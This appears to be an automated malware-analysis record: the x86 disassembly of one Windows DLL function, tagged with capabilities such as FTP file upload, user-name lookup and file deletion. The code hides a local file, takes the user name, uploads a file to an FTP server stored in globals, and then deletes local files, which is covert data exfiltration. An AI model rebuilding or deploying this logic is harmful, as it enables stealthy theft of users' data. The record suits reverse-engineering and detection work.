Function at 0x10007c40
Capabilities:
Connect to http server
Create http request
Delete file
Get session user name
Send file using ftp
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0xa0
push 0xffffffffffffffff
push 0x1001b436
mov eax, dword fs:[0]
push eax
sub esp, 0x224
mov eax, dword [0x10030a98]
xor eax, ebp
mov dword [ebp + 0x9c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 1
push 0x40
push 1
push 0x1001e994
lea ecx, [ebp - 0x230]
call fcn.100047f0
push 1
push 0x40
push 1
push 0x1001e99c
lea ecx, [ebp - 0x178]
mov dword [ebp - 4], 0
call fcn.100047f0
push 1
push 0x40
push 2
push 0x1001e9a0
lea ecx, [ebp - 0xc0]
mov byte [ebp - 4], 1
call fcn.100014c0
push 8
mov byte [ebp - 4], 3
mov dword [ebp], 0
mov dword [ebp + 4], 0
mov dword [ebp + 0x14], 0
mov dword [ebp + 0x18], 0
call fcn.10019430
lea ecx, [ebp]
mov dword [eax + 4], 0
mov dword [ebp], eax
mov dword [eax], ecx
mov dword [ebp + 0x14], 0
mov dword [ebp + 0x18], 0xf
mov byte [ebp + 4], 0
push 8
mov byte [ebp - 4], 5
mov dword [ebp + 0x1c], 0
mov dword [ebp + 0x20], 0
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0
call fcn.10019430
lea ecx, [ebp + 0x1c]
mov dword [eax + 4], 0
mov dword [ebp + 0x1c], eax
mov dword [eax], ecx
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
push 0xa
lea eax, [ebp]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0x230]
push eax
call fcn.10007320
add esp, 0x14
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x10007dcc
nop
cmp dword [ebp + 0x18], 0x10
lea eax, [ebp + 4]
push 0x10005af0
push dword [ebp + 0x14]
cmovae eax, dword [ebp + 4]
push eax
lea eax, [ebp - 0xc0]
push eax
call fcn.10007170
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xa
lea eax, [ebp]
push eax
lea eax, [ebp - 0x230]
push eax
call fcn.10007320
add esp, 0xc
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x10007d80
push 0xa
lea eax, [ebp + 0x1c]
push eax
lea eax, [ebp - 0x178]
push eax
call fcn.10007320
add esp, 0xc
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x10007e3c
nop dword [eax]
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
push 0x10005af0
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
lea eax, [ebp - 0xc0]
push eax
call fcn.10007170
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xa
lea eax, [ebp + 0x1c]
push eax
lea eax, [ebp - 0x178]
push eax
call fcn.10007320
add esp, 0xc
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x10007df0
lea ecx, [ebp - 0x220]
call fcn.10001f00
test eax, eax
jne 0x10007e65
push eax
mov eax, dword [ebp - 0x230]
lea ecx, [ebp - 0x230]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x168]
call fcn.10001f00
test eax, eax
jne 0x10007e8e
push eax
mov eax, dword [ebp - 0x178]
lea ecx, [ebp - 0x178]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0xbc]
call fcn.10001f00
test eax, eax
jne 0x10007eb7
push eax
mov eax, dword [ebp - 0xc0]
lea ecx, [ebp - 0xc0]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push 2
push str.List
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, dword [sym.imp.ucrtbased.dll_remove]
push 0x1001e9b0
call edi
add esp, 4
mov dword [ebp - 0x10], 0x64
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp + 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x10007f5b
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 1
push dword [0x10030e98]
mov ebx, eax
push dword [0x10030e94]
push 0x15
push dword [0x10030e90]
push ebx
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
mov esi, eax
lea eax, [ebp + 0x38]
push 2
push eax
push 0x1001e978
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x10008220
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push 0x1001e980
call edi
push 0x1001e988
call edi
add esp, 8
push 3
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::_Lockit::constructor_int_]
mov ecx, dword [ebp + 0x1c]
test ecx, ecx
je 0x10007f93
cmp dword [ecx + 4], 0
je 0x10007f8c
mov eax, dword [ecx + 4]
mov dword [eax], 0
mov eax, dword [ecx + 4]
mov eax, dword [eax + 4]
mov dword [ecx + 4], eax
test eax, eax
jne 0x10007f73
mov ecx, dword [ebp + 0x1c]
mov dword [ecx + 4], 0
mov esi, dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
lea ecx, [ebp - 0x10]
call esi
mov edi, dword [ebp + 0x34]
mov eax, dword [sym.imp.ucrtbased.dll__CrtDbgReport]
mov ebx, dword [sym.imp.ucrtbased.dll__invalid_parameter]
cmp edi, 0x10
jb 0x1000807c
mov esi, dword [ebp + 0x20]
inc edi
cmp edi, 0x1000
jb 0x1000806c
mov ecx, dword [esi - 4]
add edi, 0x27
cmp dword [esi - 8], 0xfafafafa
mov dword [ebp - 0x10], ecx
je 0x1000801d
push 0x1001c6f4
push 0x1001c708
push 0
push 0x9a
push 0x1001c710
push 2
call eax
add esp, 0x18
cmp eax, 1
jne 0x10007ffa
int3
push 0
push 0x9a
push 0x1001c780
push 0x1001c854
push 0x1001c858
call ebx
mov eax, dword [sym.imp.ucrtbased.dll__CrtDbgReport]
add esp, 0x14
mov ecx, dword [ebp - 0x10]
sub esi, ecx
cmp esi, 8
jb 0x10008029
cmp esi, 0x27
jbe 0x1000806a
push 0x1001c6f4
push 0x1001c708
push 0
push 0xa4
push 0x1001c710
push 2
call eax
add esp, 0x18
cmp eax, 1
jne 0x1000804c
int3
push 0
push 0xa4
push 0x1001c780
push 0x1001c854
push 0x1001c858
call ebx
mov ecx, dword [ebp - 0x10]
add esp, 0x14
mov esi, ecx
push edi
push esi
call fcn.10019480
mov esi, dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::_Lockit::destructor_void_]
add esp, 8
mov eax, dword [ebp + 0x1c]
push 8
push eax
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], 0
mov dword [ebp + 0x1c], 0
call fcn.10019480
add esp, 8
lea ecx, [ebp - 0x10]
push 3
call dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::_Lockit::constructor_int_]
mov ecx, dword [ebp]
test ecx, ecx
je 0x100080e0
cmp dword [ecx + 4], 0
je 0x100080d9
nop dword [eax + eax]
mov eax, dword [ecx + 4]
mov dword [eax], 0
mov eax, dword [ecx + 4]
mov eax, dword [eax + 4]
mov dword [ecx + 4], eax
test eax, eax
jne 0x100080c0
mov ecx, dword [ebp]
mov dword [ecx + 4], 0
lea ecx, [ebp - 0x10]
call esi
mov edi, dword [ebp + 0x18]
cmp edi, 0x10
jb 0x100081b5
mov esi, dword [ebp + 4]
inc edi
cmp edi, 0x1000
jb 0x100081ab
mov eax, dword [esi - 4]
add edi, 0x27
cmp dword [esi - 8], 0xfafafafa
mov dword [ebp - 0x10], eax
je 0x10008158
push 0x1001c6f4
push 0x1001c708
push 0
push 0x9a
push 0x1001c710
push 2
call dword [sym.imp.ucrtbased.dll__CrtDbgReport]
add esp, 0x18
cmp eax, 1
jne 0x1000813a
int3
push 0
push 0x9a
push 0x1001c780
push 0x1001c854
push 0x1001c858
call ebx
mov eax, dword [ebp - 0x10]
add esp, 0x14
sub esi, eax
cmp esi, 8
jb 0x10008164
cmp esi, 0x27
jbe 0x100081a9
push 0x1001c6f4
push 0x1001c708
push 0
push 0xa4
push 0x1001c710
push 2
call dword [sym.imp.ucrtbased.dll__CrtDbgReport]
add esp, 0x18
cmp eax, 1
jne 0x1000818b
int3
push 0
push 0xa4
push 0x1001c780
push 0x1001c854
push 0x1001c858
call ebx
mov eax, dword [ebp - 0x10]
add esp, 0x14
mov esi, eax
push edi
push esi
call fcn.10019480
add esp, 8
mov eax, dword [ebp]
push 8
push eax
mov dword [ebp + 0x14], 0
mov dword [ebp + 0x18], 0xf
mov byte [ebp + 4], 0
mov dword [ebp], 0
call fcn.10019480
add esp, 8
lea ecx, [ebp - 0xc0]
call fcn.10001ab0
lea ecx, [ebp - 0x178]
call fcn.100049a0
lea ecx, [ebp - 0x230]
call fcn.100049a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.100194a0
lea esp, [ebp + 0xa0]
pop ebp
ret
push 0x1001e98c
call edi
add esp, 4
call fcn.10007490
int3